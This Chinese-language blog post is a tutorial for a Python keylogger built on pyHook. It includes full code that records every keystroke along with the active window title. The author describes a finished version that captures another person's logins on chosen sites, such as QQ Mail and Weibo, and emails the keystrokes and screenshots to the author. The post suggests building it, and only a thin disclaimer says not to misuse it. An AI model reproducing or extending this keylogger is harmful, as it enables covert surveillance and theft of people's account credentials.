20行代码用python实现一个钩子

时间:2024-05-19 13:42:46

最近在玩键盘监控,于是有了这么一个文章,鄙人做成的成品是获取到某某人在某某网登录的时候(仅限某某网)会把字符串跟截图统统发到鄙人邮箱,当然只是做着玩的,大家不要想去干坏事哈!以下的图是成品:

20行代码用python实现一个钩子

(成品图)

今天我们就简单的写一下钩子的实现,后面的文章鄙人抽空也可以写一写。当然发邮箱这档子事,我前面的文章也写了,没看的伙计可以去我号里找找。

环境配置:

操作系统:windows7

Python版本:2.7.14

关键库:pyHook/email/pywin32

在这里还是要推荐下我自己建的Python开发学习群:483546416,群里都是学Python开发的,如果你正在学习Python ,小编欢迎你加入,大家都是软件开发党,不定期分享干货(只有Python软件开发相关的),包括我自己整理的一份2018最新的Python进阶资料和高级开发教程,欢迎进阶中和进想深入Python的小伙伴

注:没有安装的请自行安装,安装教程这里就不多啰嗦,安装一个pip全自动~

20行代码用python实现一个钩子

pyHook:

PyHook是一个基于Python的“钩子”库,主要用于监听当前电脑上鼠标和键盘的事件。这个库依赖于另一个Python库PyWin32,如同名字所显示的,PyWin32只能运行在Windows平台,所以PyHook也只能运行在Windows平台。

多了咱不多啰嗦,直接上代码(附加注释):20行代码用python实现一个钩子

(代码详细注释)

运行效果:

20行代码用python实现一个钩子

(运行效果)

我们可以发现,一切都非常顺利。

当然,我们可以开动大脑,比如说通过判断获取浏览器的title标签的敏感字符。比如说QQ邮箱、网易游戏、微博等敏感字符,然后发现以上的敏感字符后再进行键盘记录。记录完成后顺便生成截图,通过邮箱发送给自己。

如果大家感兴趣,鄙人后面的文章会详细的分享一下实现过程,大家可以关注一下。

以上的观点完全是自己闹着玩,学习黑客hook,严谨用于违法犯罪!

下面附上本篇文章的代码:

# -*- coding: utf-8 -*- #

from ctypes import *

import pyHook

import pythoncom

print('start hook...')

def onKeyboardEvent(event):

print('--------------------------------------------')

windowTitle = create_string_buffer(512)

windll.user32.GetWindowTextA(event.Window,byref(windowTitle),512)

windowName = windowTitle.value.decode('GBK')

print "windowName: " + windowName

print "code: " + chr(event.Ascii)

return True

hm = pyHook.HookManager()

hm.KeyDown = onKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

相关文章